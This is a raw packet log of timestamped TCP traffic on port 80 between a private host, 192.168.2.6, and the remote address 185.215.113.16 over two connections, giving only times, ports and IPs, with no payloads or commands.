Oct 24, 2024 04:58:14.109059095 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.109072924 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.109111071 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.109121084 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.109144926 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.109158039 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.109179974 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.109189034 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.109214067 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.109225988 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.109251976 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.109257936 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.109294891 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.115015030 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.115055084 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.115082979 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.115089893 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.115108013 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.115144968 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.115180969 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.115194082 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.115216970 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.115227938 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.115251064 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.115264893 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.115412951 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.117213964 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.117249012 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.117284060 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.117288113 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.117530107 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.118486881 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.118518114 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.118552923 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.118561029 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.118597984 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.118626118 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.118662119 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.118679047 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.118712902 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.118727922 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.118746996 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.118781090 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.118849039 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.118884087 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.118932962 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.138776064 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.138830900 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.138859034 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.138866901 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.138885021 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.138921022 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.138933897 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.138957024 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.138971090 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.138992071 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.139004946 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.139025927 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.139039040 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.139060020 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.139095068 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.139106035 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.139131069 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.139152050 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.139177084 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.139230013 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.139277935 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.139283895 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.139327049 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.139343023 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.139388084 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.139399052 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.139422894 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.139435053 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.139460087 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.139498949 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.139512062 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.139522076 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.139553070 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.139581919 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.139774084 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.139830112 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.139834881 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.139885902 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.139888048 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.139920950 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.139936924 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.139955044 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.139970064 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.139987946 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.140002012 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.140022039 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.140033007 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.140058041 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.140068054 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.140094042 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.140109062 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.140127897 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.140141964 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.140166998 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.140178919 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.140213013 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.140429974 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.140480042 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.140516043 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.140532970 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.178067923 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.178145885 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.178159952 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.178184986 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.178195953 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.178230047 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.178239107 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.178277016 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.178286076 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.178308964 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.178320885 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.178352118 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.178355932 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.178400040 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.178416967 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.178472042 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.178508043 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.178508997 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.178534985 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.178540945 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.178551912 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.178575993 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.178587914 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.178627968 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.178663969 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.178672075 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.178694010 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.178709984 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.178728104 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.178738117 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.178764105 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.178792953 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.178805113 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.178823948 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.178858042 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.178864002 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.178891897 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.178904057 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.178925991 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.178945065 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.178963900 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.178999901 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.178999901 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.179008007 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.179045916 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.179052114 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.179091930 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.179099083 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.179141045 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.179145098 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.179181099 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.179192066 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.179236889 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.179274082 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.179285049 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.179310083 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.179328918 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.179383039 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.179413080 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.179433107 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.179456949 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.179466963 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.179501057 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.179536104 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.179537058 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.179537058 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.179577112 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.179645061 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.179697037 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.179697990 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.179733992 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.179766893 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.179786921 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.179802895 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.179809093 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.179838896 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.179888010 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.180025101 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.180061102 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.180078983 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.180095911 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.180109024 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.180141926 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.180171013 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.180201054 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.180219889 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.180326939 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.195518970 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.195573092 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.195611000 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.195621967 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.195645094 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.195681095 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.195717096 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.195723057 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.195789099 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.225889921 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.225950003 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.225972891 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.226005077 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.226007938 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.226059914 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.226062059 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.226100922 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.226115942 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.226136923 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.226151943 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.226171970 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.226197004 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.226207972 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.226224899 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.226244926 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.226268053 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.226300955 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.226336956 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.226351023 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.226372957 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.226403952 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.226408005 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.226425886 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.226531982 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.226566076 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.226593971 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.226598978 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.226617098 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.226685047 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.232187033 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.232223988 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.232251883 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.232276917 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.232278109 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.232314110 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.232332945 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.232350111 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.232367039 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.232386112 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.232409000 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.232434988 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.236574888 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.236609936 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.236644983 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.236660957 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.237588882 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.237618923 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.237672091 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.237704992 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.237709999 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.237709999 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.237725019 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.237740040 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.237773895 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.237785101 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.237989902 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.238019943 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.238065958 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.238109112 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.238137007 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.238154888 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.255878925 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.255933046 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.255942106 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.255984068 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.255989075 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.256023884 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.256040096 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.256059885 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.256078959 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.256092072 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.256110907 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.256135941 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.256145000 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.256179094 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.256212950 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.256232023 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.256247044 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.256252050 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.256303072 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.256303072 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.256336927 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.256356955 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.256372929 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.256388903 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.256408930 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.256426096 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.256455898 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.256484032 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.256517887 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.256540060 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.256551981 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.256589890 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.256603003 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.256624937 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.256644011 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.256659985 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.256711960 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.256752968 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.256787062 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.256815910 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.256819963 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.256872892 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.256907940 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.256942987 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.256992102 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.256995916 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.257030010 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.257055044 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.257066965 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.257101059 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.257107973 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.257107973 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.257137060 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.257150888 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.257172108 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.257191896 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.257205963 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.257227898 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.257249117 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.257395983 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.257426977 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.257462025 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.257467985 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.257467985 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.257502079 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.257514000 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.257548094 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.257564068 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.257584095 CEST	80	49996	185.215.113.16	192.168.2.6
